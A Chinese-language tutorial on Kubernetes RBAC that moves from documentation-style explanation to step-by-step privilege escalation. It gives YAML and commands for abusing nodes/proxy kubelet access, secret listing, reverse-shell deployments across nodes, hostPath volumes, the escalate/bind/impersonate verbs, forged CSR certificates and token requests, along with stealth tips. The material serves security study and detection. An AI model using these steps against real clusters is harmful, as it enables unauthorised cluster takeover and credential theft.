API访问控制

K8S的API访问控制就是，通过如kubectl、构造REST请求，去访问Kubernetes的API，当请求到达API时经历的多个阶段就是k8s的API访问控制，而RBAC就是其中鉴权的部分，并且是现在的主要方式，kubeadm安装的集群从1.6版本以后都默认开启了RBAC和Node的鉴权方式。

RBAC-基于角色的访问控制

RBAC就是基于角色（Role）的访问控制，是一种基于组织中用户的角色来调节控制对计算机或网络资源的访问的方法。
RBAC 鉴权机制使用rbac.authorization.k8s.io API 组来驱动鉴权决定，允许通过 Kubernetes API 动态配置策略。
要启用 RBAC，在启动 API 服务器时将--authorization-mode参数设置为一个逗号分隔的列表并确保其中包含 RBAC。

1	kube-apiserver --authorization-mode=Node,RBAC --<其他选项> --<其他选项>

API对象

RBAC API 声明了四种 Kubernetes 对象：Role、ClusterRole、RoleBinding 和 ClusterRoleBinding。

Role和ClusterRole

RBAC 的 Role 或 ClusterRole 中包含一组代表相关权限的规则。这些权限是纯粹累加的（不存在拒绝某操作的规则）。
如果你希望在名字空间内定义角色，应该使用 Role；如果你希望定义集群范围的角色，应该使用 ClusterRole。
Role 或 ClusterRole 对象的名称必须是合法的路径分段名称。

Role

Role主要用来设置命名空间的访问权限，在创建时必须指定namespace。
下面是一个位于 “default” 命名空间的 Role 的示例，可用来授予对 Pod 的读访问权限：

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  namespace: default
  name: pod-reader
rules:
- apiGroups: [""] # "" 标明 core API 组
  resources: ["pods"]
  verbs: ["get", "watch", "list"]

ClusterRole

ClusterRole 则是一个集群作用域的资源。这两种资源的名字不同（Role 和 ClusterRole）是因为 Kubernetes 对象要么是名字空间作用域的，要么是集群作用域的，不可两者兼具。

ClusterRole 有若干用法。你可以用它来：

定义对某名字空间域对象的访问权限，并将在个别名字空间内被授予访问权限；
为名字空间作用域的对象设置访问权限，并被授予跨所有名字空间的访问权限；
为集群作用域的资源定义访问权限。

ClusterRole 同样可以用于授予 Role 能够授予的权限。因为 ClusterRole 属于集群范围，所以它也可以为以下资源授予访问权限：

集群范围资源（比如节点（Node））
非资源端点（比如 /healthz）
跨名字空间访问的名字空间作用域的资源（如 Pod）比如，你可以使用 ClusterRole 来允许某特定用户执行 kubectl get pods --all-namespaces

下面是一个 ClusterRole 的示例，可用来为任一特定名字空间中的 Secret 授予读访问权限，或者跨名字空间的访问权限：

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
# "namespace" 被忽略，因为 ClusterRoles 不受名字空间限制
name: secret-reader
rules:
- apiGroups: [""]
# 在 HTTP 层面，用来访问 Secret 资源的名称为 "secrets"
resources: ["secrets"]
verbs: ["get", "watch", "list"]

RoleBinding和CluserRoleBinding

角色绑定（Role Binding）是将角色中定义的权限赋予一个或者一组用户。它包含若干主体（用户、组或服务账户）的列表和对这些主体所获得的角色的引用。 RoleBinding 在指定的名字空间中执行授权，而 ClusterRoleBinding 在集群范围执行授权。
RoleBinding 或 ClusterRoleBinding 对象的名称必须是合法的路径分段名称。

RoleBinding

一个 RoleBinding 可以引用同一的名字空间中的任何 Role。或者，一个 RoleBinding 可以引用某 ClusterRole 并将该 ClusterRole 绑定到 RoleBinding 所在的名字空间。
下面的例子中的 RoleBinding 将 “pod-reader” Role 授予在 “default” 名字空间中的用户 “jane”。这样，用户 “jane” 就具有了读取 “default” 名字空间中所有 Pod 的权限。

apiVersion: rbac.authorization.k8s.io/v1
# 此角色绑定允许 "jane" 读取 "default" 名字空间中的 Pod
# 你需要在该命名空间中有一个名为 “pod-reader” 的 Role
kind: RoleBinding
metadata:
  name: read-pods
  namespace: default
subjects:
# 你可以指定不止一个“subject（主体）”
- kind: User
  name: jane # "name" 是区分大小写的
  apiGroup: rbac.authorization.k8s.io
roleRef:
  # "roleRef" 指定与某 Role 或 ClusterRole 的绑定关系
  kind: Role        # 此字段必须是 Role 或 ClusterRole
  name: pod-reader  # 此字段必须与你要绑定的 Role 或 ClusterRole 的名称匹配
  apiGroup: rbac.authorization.k8s.io

RoleBinding 也可以引用 ClusterRole，以将对应 ClusterRole 中定义的访问权限授予 RoleBinding 所在名字空间的资源。这种引用使得你可以跨整个集群定义一组通用的角色，之后在多个名字空间中复用。
例如，尽管下面的 RoleBinding 引用的是一个 ClusterRole，”dave”（这里的主体，区分大小写）只能访问 “development” 名字空间中的 Secrets 对象，因为 RoleBinding 所在的名字空间（由其 metadata 决定）是 “development”。

apiVersion: rbac.authorization.k8s.io/v1
# 此角色绑定使得用户 "dave" 能够读取 "development" 名字空间中的 Secrets
# 你需要一个名为 "secret-reader" 的 ClusterRole
kind: RoleBinding
metadata:
  name: read-secrets
  # RoleBinding 的名字空间决定了访问权限的授予范围。
  # 这里隐含授权仅在 "development" 名字空间内的访问权限。
  namespace: development
subjects:
- kind: User
  name: dave # 'name' 是区分大小写的
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: secret-reader
  apiGroup: rbac.authorization.k8s.io

ClusterRoleBinding

如果希望ClusterRole绑定到集群的所有命名空间，需要使用ClusterRoleBinding
要跨整个集群完成访问权限的授予，你可以使用一个 ClusterRoleBinding。下面的 ClusterRoleBinding 允许 “manager” 组内的所有用户访问任何名字空间中的 Secret。

apiVersion: rbac.authorization.k8s.io/v1
# 此集群角色绑定允许 “manager” 组中的任何人访问任何名字空间中的 Secret 资源
kind: ClusterRoleBinding
metadata:
  name: read-secrets-global
subjects:
- kind: Group
  name: manager      # 'name' 是区分大小写的
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: secret-reader
  apiGroup: rbac.authorization.k8s.io

创建了绑定之后，你不能再修改绑定对象所引用的 Role 或 ClusterRole。试图改变绑定对象的 roleRef 将导致合法性检查错误。如果你想要改变现有绑定对象中 roleRef 字段的内容，必须删除重新创建绑定对象。
这种限制有两个主要原因：

将 roleRef 设置为不可以改变，这使得可以为用户授予对现有绑定对象的 update 权限，这样可以让他们管理主体列表，同时不能更改被授予这些主体的角色。
针对不同角色的绑定是完全不一样的绑定。要求通过删除/重建绑定来更改 roleRef，这样可以确保要赋予绑定的所有主体会被授予新的角色（而不是在允许或者不小心修改了 roleRef 的情况下导致所有现有主体未经验证即被授予新角色对应的权限）。

命令 kubectl auth reconcile 可以创建或者更新包含 RBAC 对象的清单文件，并且在必要的情况下删除和重新创建绑定对象，以改变所引用的角色。

Nodes/proxy

在k8s集群中，每个节点上10250端口是每个节点的kubelet开启的，主要用来接收kube-apiserver发送的api然后在节点上执行相关操作。
当RBAC配置为对资源为nodes/proxy，verbs包含"get" "create"时就可以绕过apiserver直接对每个节点操作，当知道每个节点ip时，相当于获得了集群的每个节点的权限。
首先创建需要的相关资源

ServiceAccount
Secret
ClusterRole
ClusterRoleBinding

创建服务账户用来将ClusterRoleBinding角色绑定。

apiVersion: v1
kind: ServiceAccount
metadata:
  name: nodeproxy
  namespace: default

手动创建服务账户的Secret自动生成Token

令牌控制器将清理不存在的服务账号的所有令牌。

apiVersion: v1
kind: Secret
metadata:
  name: nodeproxy-token
  annotations:
    kubernetes.io/service-account.name: nodeproxy
type: kubernetes.io/service-account-token

创建集群角色，并授予对nodes/proxy资源的权限

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: nodeproxy
rules:
- apiGroups: [""]
  resources: ["nodes/proxy"]
  verbs: ["get", "create"]

创建ClusterRoleBinding将集群角色中定义的权限赋予之前创建的服务账户。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: nodeproxybinding
subjects:
- kind: ServiceAccount
  name: nodeproxy
  namespace: default
roleRef:
  kind: ClusterRole
  name: nodeproxy
  apiGroup: rbac.authorization.k8s.io

资源创建过程完成后，测试利用如下

获取刚才创建的服务账户的token

1
2

$ kubectl get secrets build-nodeproxy -o jsonpath={.data.token} | base64 -d
eyJhbGciOiJSUzI1NiIsImtpZCI6IkpBS09mWHo0cU55bWI3NVV6cW4yQVV2MXFaUTJRX2tualZqeV9PbDVIOFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImJ1aWxkLW5vZGVwcm94eSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJub2RlcHJveHkiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkYzU1ODc4YS0xM2ZiLTRiZjUtODFiMy0xNGI4NjczOGI1YjIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpub2RlcHJveHkifQ.DGUoIpe6-kNiUQW0USApR6kwLhiuVIYuHdwYRWdHArqYEEhcG8WNMNOAK-cMu0i9v69xplNLAwWFFIjjOsWtgrKzOih8M39Wyfgmha9_D9YqOJCPLwLRAuxlBPXGmkM_hEcEQ7ockh5a9GGRS5Q3E45KhofZR44QqlaDyoYyxUd7M8m4-Kss_m7otNyh39Q6dDug5dOBIcV1Tk6hPye3XqPAGQ0y_nAtZY9k2GZENeODzwYiEW1LOJ9bJbJI62Qo_rvPB6CFYRt4TnQFsrPwFhfQKeIOIKowoqfz1rBmYCSNrBAkdVbQ-ZvmkAsOz704l6oati_K6Pq_q3VL-Zgb2A

使用curl或者任意可以发送api的工具查看pods并将token放进header的Authorization中，可以通过jless过滤json查看获取信息：

namespace
pod-name

container-name

$ curl -k -H "Authorization: Bearer eyJhbGciOiJSUzI1NiIsImtpZCI6IkpBS09mWHo0cU55bWI3NVV6cW4yQVV2MXFaUTJRX2tualZqeV9PbDVIOFEifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJkZWZhdWx0Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9zZWNyZXQubmFtZSI6ImJ1aWxkLW5vZGVwcm94eSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJub2RlcHJveHkiLCJrdWJlcm5ldGVzLmlvL3NlcnZpY2VhY2NvdW50L3NlcnZpY2UtYWNjb3VudC51aWQiOiJkYzU1ODc4YS0xM2ZiLTRiZjUtODFiMy0xNGI4NjczOGI1YjIiLCJzdWIiOiJzeXN0ZW06c2VydmljZWFjY291bnQ6ZGVmYXVsdDpub2RlcHJveHkifQ.DGUoIpe6-kNiUQW0USApR6kwLhiuVIYuHdwYRWdHArqYEEhcG8WNMNOAK-cMu0i9v69xplNLAwWFFIjjOsWtgrKzOih8M39Wyfgmha9_D9YqOJCPLwLRAuxlBPXGmkM_hEcEQ7ockh5a9GGRS5Q3E45KhofZR44QqlaDyoYyxUd7M8m4-Kss_m7otNyh39Q6dDug5dOBIcV1Tk6hPye3XqPAGQ0y_nAtZY9k2GZENeODzwYiEW1LOJ9bJbJI62Qo_rvPB6CFYRt4TnQFsrPwFhfQKeIOIKowoqfz1rBmYCSNrBAkdVbQ-ZvmkAsOz704l6oati_K6Pq_q3VL-Zgb2A" https://192.168.56.10:10250/pods | jless

根据获取到的信息通过https://ip:10250/run/namespace/pod-name/container-nameapi执行命令

后面的流程可以通过信息收集获得master的ip，然后找到kube-proxy，反弹shell然后逃逸获得master主机权限，从而获得cluster admin权限。

列举Secret

当RBAC允许对Secrets执行的verb包括get、list、watch的情况下，被授权用户可以获取Secret的具体内容，不同的主体可能不同，或者是Role或者ClusterRole的也不同。
首先测试Role，相关资源创建：

ServiceAccount
Secret
Role

RoleBinding

apiVersion: v1
kind: ServiceAccount
metadata:
  name: secret-list-sa
automountServiceAccountToken: true
---
apiVersion: v1
kind: Secret
metadata:
  name: secret-list-build
  annotations:
    kubernetes.io/service-account.name: secret-list-sa
type: kubernetes.io/service-account-token
---
apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: secret-list-role
rules:
- apiGroups: [""]
  resources: ["secrets"]
  verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: secret-list-binding
subjects:
- kind: ServiceAccount
  name: secret-list-sa
  namespace: default
roleRef:
  kind: Role
  name: secret-list-role
  apiGroup: rbac.authorization.k8s.io

创建工作负载

当被允许创建工作负载（Pod、Deployments、DaemonSet等）资源时，该权限其实还授予了对该命名空间中许多其他资源的权限，比如在Pod中挂载Secret、ConfigMap、PV等。由于ServiceAccount其实是为Pod中运行的进程提供了一个身份，所以Pod内的进程可以使用其关联的sa的身份，来向Cluster的api-server访问，所以授予创建工作负载的权限的同时也授予了命名空间下任何sa对api-server的访问权限。

如果RBAC的资源允许对Deployments、DaemonSet等操作，我们可以通过批量创建特权Pod来达到k8s内横向并持久化，获取Cluster Admin权限，以及所有node的权限。

针对Deployments的利用创建需要的资源：

Role

RoleBinding

apiVersion: rbac.authorization.k8s.io/v1
kind: Role 
metadata:
  name: pod-role
rules:
- apiGroups: ["apps"]
  resources: ["deployments"]
  verbs: ["get", "list", "watch", "create", "update", "patch", "delete"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: pod-binding
subjects:
- kind: User
  name: k8s-user
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: Role
  name: pod-role
  apiGroup: rbac.authorization.k8s.io

用户被绑定Role后测试可以get命名空间为default下的deployments.apps资源

其他命名空间下的是的不能看的，Role未指定namespace的情况默认为default
这边尝试创建一个deployments.apps，在containers中填写spec反弹shell

成功反弹，在只有default命名空间对deployments操作的权限下，在所有节点创建pod并反弹，这里只是举例container的image使用nginx，实际中可以使用恶意镜像，为了隐蔽建议使用kube-proxy，因为每个节点本身都有这个镜像，并且本身可以逃逸到宿主机上。
将Role改为ClusterRole，自然也是可以的，并且在未指定namespace的情况下是可以查看整个集群的，可以利用一些更隐蔽点。

创建持久卷

持久卷(PersistentVolume)是k8s中用来存储的，可以理解为一块虚拟硬盘，一般持久卷是集群管理员事先创建好的，或者使用存储类动态创建，对于pod而言不直接使用pv，而是通过pvc作为存储卷匹配符合需求的pv使用的，所以一般用户不会授予针对pv的创建权限，可以通过创建pv访问node上所有的数据，达到提权的目的。

在 Kubernetes 中，存储卷是由容器使用的，所以它不能直接写入数据。如果想要写入数据，需要在 Kubernetes 集群中创建容器，并将存储卷挂载到容器中。然后，通过容器提供的接口来写入数据。

当用户创建工作负载的权限时，不需要创建pv的权限就可以直接使用存储卷，比如使用本地存储hostPath配置容忍度结合nodeSelector达到挂载任意node。
利用前提拥有对pv、pvc、pod创建权限，利用相关的声明配置文件：

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole 
metadata:
  name: pv-role
rules:
- apiGroups: [""]
  resources: ["persistentvolumes", "persistentvolumesclaims", "pods"]
  verbs: ["get", "list", "watch", "create"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: pv-binding
subjects:
- kind: User
  name: k8s-user
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: pv-role
  apiGroup: rbac.authorization.k8s.io
---
apiVersion: v1
kind: PersistentVolume
metadata:
  name: local-pv
spec:
  capacity:
    storage: 4Gi
  volumeMode: Filesystem
  accessModes:
  - ReadWriteOnce
  persistentVolumeReclaimPolicy: Delete
  storageClassName: local-storage
  local:
    path: /root
  nodeAffinity:
    required:
      nodeSelectorTerms:
      - matchExpressions:
        - key: kubernetes.io/hostname
          operator: In
          values:
          - k8s-worker1
---
apiVersion: v1
kind: PersistentVolumeClaim
metadata:
  name: local-pv-claim
spec:
  storageClassName: local-storage
  accessModes:
    - ReadWriteOnce
  resources:
    requests:
      storage: 3Gi
---
apiVersion: v1
kind: Pod
metadata:
  name: test-pd
spec:
  containers:
  - image: nginx:1.22
    name: test-container
    volumeMounts:
    - mountPath: /test-pd
      name: test-pv-volume
  volumes:
    - name: test-pv-volume
      persistentVolumeClaim:
        claimName: local-pv-claim

Esclate verb

RBAC本身是一种鉴权机制，是为了整个集群更加安全的，RBAC会阻止用户创建比它本身拥有更多权限的Role或者ClusterRole，但是在verb中escalate是一个例外，拥有这个verb的用户可以用来提权。

目前k8s-user拥有针对pods的相关权限，但是对于secrets并无权限

创建一个对于roles拥有verb为escalate的Role

apiVersion: rbac.authorization.k8s.io/v1
kind: Role
metadata:
  name: role-escalate
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["roles"]
  verbs: ["get", "list", "create", "escalate"]

该用户拥有了查看role的权限

尝试使用k8s-user用户创建一个针对secrets的Role

成功创建了一个k8s-user用户本身也不具有查看secrets的Role，如果该用户一开始就具有对roles的patch权限的话，我们可以对该用户的Role直接修改

修改成功，目前该用户可以查看secrets。
目前escalate只能针对相关范围的，Role的只能操作相关命名空间作用域的，ClusterRole可以操作命名空间或者集群的，具体看resources是那个的。

Bind verb

bind和esclate类似，拥有该权限的用户也可以进行提权操作，只不过这个操作的是直接绑定自己没有权限的角色，比如下面这个yaml。

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: role-grantor
rules:
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["rolebindings"]
  verbs: ["create"]
- apiGroups: ["rbac.authorization.k8s.io"]
  resources: ["clusterroles"]
  verbs: ["bind"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: role-binding
subjects:
- kind: User
  name: k8s-user
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: role-grantor
  apiGroup: rbac.authorization.k8s.io

该yaml创建了一个ClusterRole，拥有对rolebindings的create权限，对clusterroles的bind权限；创建了一个RoleBinding将刚才创建的ClusterRole绑定到了k8s-user上，目前该用户拥有了创建一个RoleBinding然后将自己绑定在高权限的ClusterRole上达到提权的效果。
目前该用户还未提权时，不能查看configmaps

通过创建RoleBinding提权

$ kubectl create rolebinding bind-admin --clusterrole=admin --user=k8s-user
# or
# 不能使用apply，因为apply是先get再create，因为没有get权限
$ kubectl create -f - <<EOF
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
  name: bind-admin
subjects:
- kind: User
  name: k8s-user
  apiGroup: rbac.authorization.k8s.io
roleRef:
  kind: ClusterRole
  name: admin
  apiGroup: rbac.authorization.k8s.io
EOF

提权成功现在可以查看configmaps

由于该用户只有对rolebindings的权限，并且绑定的是admin，所以对于集权作用域的还是没有权限

想要获得针对整个集群完全的提权还是需要对clusterrolebinding的权限，绑定cluster-admin

Impersonate verb

该动词有点类似于Linux下的sudo，通过该动词用户可以达到扮演其他用户的效果，获得相关用户的权限，其原理主要就是通过请求api-server的时候，通过指定http header实现扮演用户的效果。
相关subjects举例：

Impersonate-User: 扮演的用户的用户名
Impersonate-Group: 扮演的用户组，多个值（出现多次）表示多个组，需要同时指定 Impersonate-User

Impersonate-Extra-( extra name ): 动态指定的 key，用于指定用户的其他信息，需要同时指定 Impersonate-User

Impersonate-User: jane.doe@example.com
Impersonate-Group: developers
Impersonate-Group: admins
Impersonate-Extra-dn: cn=jane,ou=engineers,dc=example,dc=com
Impersonate-Extra-acme.com%2Fproject: some-project
Impersonate-Extra-scopes: view
Impersonate-Extra-scopes: development

扮演其他角色可以使用kubectl或者curl发送api
kubectl 命令的 --as 可以配置 Impersonate-User 的值， --as-group 可以配置 Impersonate-Group 的值，

kubectl --as <user-to-impersonate> ...
kubectl --as <user-to-impersonate> --as-group <group-to-impersonate> ...

# eg
kubectl --as=system:serviceaccount:kube-system:default
kubectl --as=superman --as-group=system:masters

# curl
curl -k -v -XGET -H 'Authorization: Bearer ***' \
-H 'Impersonate-User: ***' \
-H 'Impersonate-Group: ***' \
 'https://<master_ip>:<port>/api/v1/nodes' | jless

以下是一个可以扮演 user、group、serviceaccount的ClusterRole例子:

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: impersonate-verb
rules:
- apiGroups: [""]
  resources: ["users", "groups", "serviceaccounts"]
  verbs: ["impersonate"]

对于Impersonate-Extra-scopes的设置也是需要相应的ClusterRole

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: scopes-impersonator
rules:
# Can set "Impersonate-Extra-scopes" header.
- apiGroups: ["authentication.k8s.io"]
  resources: ["userextras/scopes"]
  verbs: ["impersonate"]

通过kubectl，user-to-impersonate可以随便填写，group-to-impersonate填写system:masters可以获得集群权限

CSR和签发证书

在访问网站时，如果该网站的证书没有被受信任的证书颁发机构签名，那么将收到对于该网站不信任的告警，kubernetes中的客户端使用证书的身份验证，比如api-server和kubelet之前的通信等。

CSR(CertificateSigningRequest)就是用来向指定的签名者申请证书签名，而CSR API是一种无需访问证书颁发机构就可签名的方式，CSR API允许通过具有相关RBAC权限的用户将CSR发送到kubernetes中批准。

Kubernetes提供了内置的签名者，每一个签名者有一个signerName，其中kubernetes.io/kube-apiserver-client-kubelet签名的证书被 kube-apiserver 视为客户证书用来内部组件使用，而kubernetes.io/kube-apiserver-client签名的证书可以向 Kubernetes API 服务器进行身份验证。

当RBAC授予用户对于create CSR 的权限和 update certificatesigningrequests/approval 的权限，其中签名者是 kubernetes.io/kube-apiserver-client的情况下可以利用提权。

这是一个已经拥有相关RBAC权限的yaml，具有创建、检索、批准、签名CSR的权限

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: csr
rules:
- apiGroups: ["certificates.k8s.io"]
  resources: ["certificatesigningrequests"]
  verbs: ["create", "get", "list", "watch"]
- apiGroups: ["certificates.k8s.io"]
  resources: ["certificatesigningrequests/approval"]
  verbs: ["update"]
- apiGroups: ["certificates.k8s.io"]
  resources: ["certificatesigningrequests/status"]
  verbs: ["update"]
- apiGroups: ["certificates.k8s.io"]
  resources: ["signers"]
  verbs: ["approve", "sign"]

添加到system:masters 组的用户会默认绑定到cluster-admin角色，该组内的成员具有集群的完全控制权限，首先尝试创建一个该组的证书进行利用直接获取集群管理员权限

1
2
3

# 生成PKI私钥和CSR，设置CSR的CN和O，CN表示用户名，O表示该用户的组
openssl genrsa -out csr-test.key 2048
openssl req -new -key csr-test.key -out csr-test.csr -subj "/O=system:masters/CN=csr-test"

创建CSR并通过kubectl提交到集群

usage: 必须是client auth
expirationSeconds: 表示时间864000为10天，3600是一小时

request: 是CSR文件的base64编码，可以通过cat csr-test.csr | base64 | tr -d "\n"获取该值

kubectl apply -f - <<EOF
apiVersion: certificates.k8s.io/v1
kind: CertificateSigningRequest
metadata:
  name: csr-test
spec:
  request: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURSBSRVFVRVNULS0tLS0KTUlJQ2NUQ0NBVmtDQVFBd0xERVhNQlVHQTFVRUNnd09jM2x6ZEdWdE9tMWhjM1JsY25NeEVUQVBCZ05WQkFNTQpDR056Y2kxMFpYTjBNSUlCSWpBTkJna3Foa2lHOXcwQkFRRUZBQU9DQVE4QU1JSUJDZ0tDQVFFQTJnRGU4bTNICmlGSEowSDNoeksyVlJtUkJkaHB5SjQ5SXNqNHJmMmV1SGVSVlk5VmpYU1d2UlRHQTBHTGg2QmlMeTBYQjZiSmsKUFgrSE85THVNZDVQK1VhMEhiRUF0eDBLQ00wclhZYWRGVDk1UU5jY2s3UWRBTzE1dXZNU042OTlaVmxIYnVqTApuYTBkdFVsaWhEdWtqM0NxaFpHeHlBOENMSG12SUN1YlYzaUZzb0FmT1FKTHVrMVc5SXJkdXI2MW1vZjc2UUYzCnlESFMyMSs2K3ZNZG5PMG8vK3JxOFE5SFdicUs0SGJUOWpSTzdOb2p3OFkzK3RRVGNITE9DZnZnZ0I2b3RsMWkKN1R2KzhESS9QNFF0TDNZL1RyODJRSEovNHpVWkRkelNvL3pTSDRyaS9xclhBMDQvQzFyMVphZk9nSVMvRHk2VwpPMnhGZlRZRndRbXZiUUlEQVFBQm9BQXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBTmZzQzdVTDV4SHZnYkRrCmc2UG9pODVmWS9SNmhIQmdkS1NIODNzdmZIcnR0dEQzRG9TVWp0S2hrZ3o5bU9yQmlkdWgza0pvd2M4Q0NJVE8KS0MzV1V6RzJ0ekdtTlVFeFFpUmUveTdTQUZEaHRtUUF4WjJiS3huN3NkNTR3MG5JRTNlMXpYRXh2bC9YcXB4egpoQ0M2RzkvcVNYb3VMQzZKTlNobFVMVFU3SjNQZmtKeHRFVHhhTXBYL1dwclVoR0hEUW55TTFwMUtGMko5UFEvCkQ2cFRnMWJQbjVHRmpXdEZuUkU5TnVVbWhCTVRvR0xESWh3cTdrdnZadHRGSFNmTFJudmlJUnRKUlRQb2llbnMKbDZPcVBhazhDd2pVL1MwWEVON0wrbEl1Sjl0WUdUbmtJdWxvSUQ0R1NEZTRiWmt1ZWVYUWhRaW1LdmxFdUdaawo1SHA0QVBzPQotLS0tLUVORCBDRVJUSUZJQ0FURSBSRVFVRVNULS0tLS0K
  signerName: kubernetes.io/kube-apiserver-client
  expirationSeconds: 864000
  usages:
  - client auth
EOF

创建失败，查看资料存在一个准入控制器CertificateSubjectRestriction发现如果是kubernetes.io/kube-apiserver-client请求组为system:masters会被拒绝。
对于不能一步到位表示遗憾，还可以查看有没有其他组存在默认绑定ClusterRole的，比如system:nodes可以直接和kubelet通信对所有的secret和pod进行写访问等。
也可查看集群中已经定义好的ClusterRole有没有其他存在默认绑定的，看看那些权限高一点可以拿来用的，然后创建与之匹配的证书，默认的比如有system:kube-controller-manager可以查看secrets，也可以利用system:kube-proxy 访问每个node有一个pod，并可以逃逸的情况直接获得集群所有宿主机权限等等。
下图为system:kube-controller-manager权限可以对secrets操作

继续之前的步骤只添加角色为改为-subj "/CN=system:kube-controller-manager"，创建CSR并发送

创建成功，可以查看CSR并批准

# 获取CSR列表
kubectl get csr
# 批准CSR
kubectl certificate approve csr-test

然后查看证书，从CSR导出颁发的证书

# 查看CSR
kubectl get csr csr-test -oyaml
# 证书的内容使用 base64 编码，存放在字段status.certificate
# 导出颁发的证书
kubectl get csr csr-test -o jsonpath='{.status.certificate}'| base64 -d > csr-test.crt

由于我们用户设置的是system:kube-controller-manager，会默认绑定到ClusterRole，这时就不需要再对新创建的csr-test进行创建角色和角色绑定的操作了，从而避免了对当前用户权限需要有对RBAC的操作，如果没有相关可以利用的verb进一步提权到头来还是白费，所以这边直接使用集群默认并绑定好的。

将该用户添加到kubeconfig文件中

# 添加新的凭据
kubectl config set-credentials csr-test --client-key=csr-test.key --client-certificate=csr-test.crt --embed-certs=true

# 添加上下文
kubectl config set-context csr-test --cluster=kubernetes --user=csr-test

把上下文切换到csr-test测试下

1	kubectl config use-context csr-test

提权成功整个集群的secrets都可以查看，进一步提权到集群管理员可以获取clusterrole-aggregation-controller的sa的token，也可以一开始的用户设置为system:kube-proxy直接获取整个集群宿主机权限等多种组合利用方式。

下表为一些常见的默认ClusterRole存在默认ClusterRoleBinding

默认ClusterRole	默认ClusterRoleBinding	说明
system:kube-scheduler	system:kube-scheduler(user)	允许访问 kube-scheduler 组件所需要的资源
system:kube-controller-manager	system:kube-controller-manager(user)	允许访问 kube-controller-manager 组件所需要的资源。
system:node-proxier	system:kube-proxy(user)	允许对 kube-proxy 组件所需要资源的访问。
system:node	system:nodes (group)	允许对 kubelet 组件所需要的资源的访问
system:basic-user
system:public-info-viewer
system:discovery	system:authenticated (group)	允许用户以只读的方式去访问他们自己的基本信息，允许以只读方式访问 API 发现端点，允许对集群的非敏感信息进行只读访问
system:public-info-viewer	system:unauthenticated (group)	允许对集群的非敏感信息进行只读访问
system:monitoring	system:monitoring (group)	允许对控制平面监控端点的读取访问
cluster-admin	system:masters (group)	允许超级用户在平台上的任何资源上执行所有操作。

令牌请求

当权限具有对serviceaccounts/token的 create 权限的用户可以创建 TokenRequest 对目标sa请求创建一个token。
当前用户具有如下权限对sa的获取、例举以及对sa创建token

apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: token-create
rules:
- apiGroups: [""]
  resources: ["serviceaccounts"]
  verbs: ["get", "list"]
- apiGroups: [""]
  resources: ["serviceaccounts/token"]
  verbs: ["create"]

目前该用户可以列举sa，但是不能查看secrets

请求创建token-create的token，可以通过kubectl也可以通过REST API

拿到token尝试利用，利用使用curl或者kubectl

1
2
3

kubectl config set-credentials token-create --token=<token>
kubectl config set-context token-create --cluster=kubernetes --user=token-create
kubectl config use-context token-create

通过命令修改kubeconfig添加用户并设置上下文，切换到创建的用户成功列举secrets

RBAC检测工具

对于本文中提到的内容，由于目前Github中并没有看到对于RBAC配置利用进行检测的工具，虽对此编写了一款小工具方便有需要的可以检测，具体工具参考rbacr，使用中有问题欢迎提交Issues或者pr。

K8S API访问控制之RBAC利用

API访问控制

RBAC-基于角色的访问控制

API对象

Role和ClusterRole

Role

ClusterRole

RoleBinding和CluserRoleBinding

RoleBinding

ClusterRoleBinding

Nodes/proxy

列举Secret

创建工作负载

创建持久卷

Esclate verb

Bind verb

Impersonate verb

CSR和签发证书

令牌请求

RBAC检测工具

参考资料